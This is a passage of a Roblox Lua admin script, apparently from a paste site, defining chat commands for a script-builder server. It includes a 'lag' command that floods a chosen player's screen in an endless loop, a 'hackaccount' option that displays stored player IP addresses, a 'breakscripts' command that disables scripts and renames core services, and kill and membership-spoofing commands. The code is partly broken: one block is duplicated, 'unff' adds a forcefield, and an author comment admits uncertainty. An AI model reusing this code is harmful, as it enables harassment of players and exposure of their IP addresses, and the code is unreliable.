  1231. elseif Command == "lag" then
  1232.  
  1233. for _, Args in pairs(Arguments) do
  1234.  
  1235. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1236.  
  1237. if Player.Name:lower():find(Args:lower()) == 1 then
  1238.  
  1239. while wait() do
  1240.  
  1241. for i=1, 10 do
  1242.  
  1243. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  1244.  
  1245. end
  1246.  
  1247. end
  1248.  
  1249. end
  1250.  
  1251. end
  1252.  
  1253. end
  1254.  
  1255. elseif Command == "hackaccount" and Admins[player.Name] == 3 then
  1256.  
  1257. local Option = Prompt(player, "Add Ban[ROBLOX]", "Hack Accounts", "Remove Hacked")
  1258.  
  1259. if Option == "Add Ban[ROBLOX]" then
  1260.  
  1261. local Names = {}
  1262.  
  1263. local IPs = IPStore
  1264.  
  1265. for Name, IP in pairs(IPs) do
  1266.  
  1267. table.insert(Names, Name)
  1268.  
  1269. end
  1270.  
  1271. local BanPlayer = Prompt(player, unpack(Names))
  1272.  
  1273. if IPs[BanPlayer] ~= nil then
  1274.  
  1275. table.insert(IPBans, IPs[BanPlayer])
  1276.  
  1277. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  1278.  
  1279. if v.Name == BanPlayer then
  1280.  
  1281. v:Remove()
  1282.  
  1283. end
  1284.  
  1285. end
  1286.  
  1287. end
  1288.  
  1289. elseif Option == "Hack Accounts" then
  1290.  
  1291. local Names = {}
  1292.  
  1293. local IPs = IPStore
  1294.  
  1295. for Name, IP in pairs(IPs) do
  1296.  
  1297. table.insert(Names, Name)
  1298.  
  1299. end
  1300.  
  1301. local Option = Prompt(player, unpack(Names))
  1302.  
  1303. if IPStore[Option] ~= nil then
  1304.  
  1305. Prompt(player, IPStore[Option])
  1306.  
  1307. end
  1308.  
  1309. end
  1310.  
  1311. elseif Command == "lag" then
  1312.  
  1313. for _, Args in pairs(Arguments) do
  1314.  
  1315. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1316.  
  1317. if Player.Name:lower():find(Args:lower()) == 1 then
  1318.  
  1319. while wait() do
  1320.  
  1321. for i=1, 10 do
  1322.  
  1323. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  1324.  
  1325. end
  1326.  
  1327. end
  1328.  
  1329. end
  1330.  
  1331. end
  1332.  
  1333. end
  1334.  
  1335. elseif Command == "breakscripts" and Admins[player.Name] == 3 then
  1336.  
  1337. Game:GetService("ScriptContext").ScriptsDisabled = true
  1338.  
  1339. Services = {
  1340.  
  1341. "Workspace",
  1342.  
  1343. "Debris",
  1344.  
  1345. "Players",
  1346.  
  1347. "Lighting",
  1348.  
  1349. "ScriptContext"
  1350.  
  1351. }
  1352.  
  1353. for i=1, #Services do
  1354.  
  1355. pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
  1356.  
  1357. end
  1358.  
  1359. --Idk if this works, just hope :3
  1360.  
  1361. local mt = {__index = function() return function() end end}
  1362.  
  1363. setmetatable(_G, mt)
  1364.  
  1365. elseif Command == "hackmenu" then
  1366.  
  1367. local People = Game:GetService("Players"):GetPlayers()
  1368.  
  1369. local Names = {}
  1370.  
  1371. for _, v in pairs(People) do
  1372.  
  1373. table.insert(Names, v.Name)
  1374.  
  1375. end
  1376.  
  1377. local OptionChoosen = Prompt(player, unpack(Names))
  1378.  
  1379. print(OptionChoosen)
  1380.  
  1381. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  1382.  
  1383. if game:GetService("Players")[OptionChoosen].Character then
  1384.  
  1385. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  1386.  
  1387. end
  1388.  
  1389. else
  1390.  
  1391. print("Player missing")
  1392.  
  1393. end
  1394.  
  1395. elseif Command == "killmenu" then
  1396.  
  1397. local People = Game:GetService("Players"):GetPlayers()
  1398.  
  1399. local Names = {}
  1400.  
  1401. for _, v in pairs(People) do
  1402.  
  1403. table.insert(Names, v.Name)
  1404.  
  1405. end
  1406.  
  1407. local OptionChoosen = Prompt(player, unpack(Names))
  1408.  
  1409. print(OptionChoosen)
  1410.  
  1411. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  1412.  
  1413. if game:GetService("Players")[OptionChoosen].Character then
  1414.  
  1415. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  1416.  
  1417. end
  1418.  
  1419. else
  1420.  
  1421. print("Player missing")
  1422.  
  1423. end
  1424.  
  1425. elseif Command == "kill" then
  1426.  
  1427. for _, Arg in pairs(Arguments) do
  1428.  
  1429. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1430.  
  1431. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  1432.  
  1433. Player.Character:BreakJoints()
  1434.  
  1435. end
  1436.  
  1437. end
  1438.  
  1439. end
  1440.  
  1441. elseif Command == "obc" then
  1442.  
  1443. for _, Arg in pairs(Arguments) do
  1444.  
  1445. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1446.  
  1447. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  1448.  
  1449. Player.MembershipTypeReplicate = 3
  1450.  
  1451. end
  1452.  
  1453. end
  1454.  
  1455. end
  1456.  
  1457. elseif Command == "tbc" then
  1458.  
  1459. for _, Arg in pairs(Arguments) do
  1460.  
  1461. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1462.  
  1463. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  1464.  
  1465. Player.MembershipTypeReplicate = 2
  1466.  
  1467. end
  1468.  
  1469. end
  1470.  
  1471. end
  1472.  
  1473. elseif Command == "bc" then
  1474.  
  1475. for _, Arg in pairs(Arguments) do
  1476.  
  1477. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1478.  
  1479. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  1480.  
  1481. Player.MembershipTypeReplicate = 1
  1482.  
  1483. end
  1484.  
  1485. end
  1486.  
  1487. end
  1488.  
  1489. elseif Command == "ff" then
  1490.  
  1491. for _, Arg in pairs(Arguments) do
  1492.  
  1493. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1494.  
  1495. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  1496.  
  1497. ff = Instance.new ("ForceField")
  1498.  
  1499. ff.Parent = Player.Character
  1500.  
  1501. end
  1502.  
  1503. end
  1504.  
  1505. end
  1506.  
  1507. elseif Command == "unff" then
  1508.  
  1509. for _, Arg in pairs(Arguments) do
  1510.  
  1511. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1512.  
  1513. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  1514.  
  1515. ff = Instance.new ("ForceField")
  1516.  
  1517. ff.Parent = Player.Character
  1518.  
  1519. end
  1520.  
  1521. end
  1522.  
  1523. end
  1524.  
  1525. end
  1526.  
  1527. elseif Command == "nbc" then
  1528.  
  1529. for _, Arg in pairs(Arguments) do
  1530.  
  1531. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1532.  
  1533. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  1534.  
  1535. Player.MembershipTypeReplicate = 0
  1536.  
  1537. end
  1538.  
  1539. end
  1540.  
  1541. end
  1542.  
  1543. end
  1544.  
  1545. end
  1546.  
  1547. game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
  1548.  
  1549. --[ SB Mode ]--
  1550.  
  1551. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  1552.  
  1553. onPlayerAdded(player)
  1554.  
  1555. end
  1556.  
  1557. Game:GetService("RunService").Stepped:connect(function()
  1558.  
  1559. local S, E = pcall(function()
  1560.  
  1561. if LastClean == nil or time() - LastClean >= 10 then do
  1562.  
  1563. collectgarbage("collect")
  1564.  
  1565. LastClean = time()
  1566.  
  1567. end
  1568.  
  1569. end
  1570.  
  1571. if not S then
  1572.  
  1573. ErrorHandler(E)
  1574.  
  1575. end
  1576.  
  1577. end)
  1578.  
  1579. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement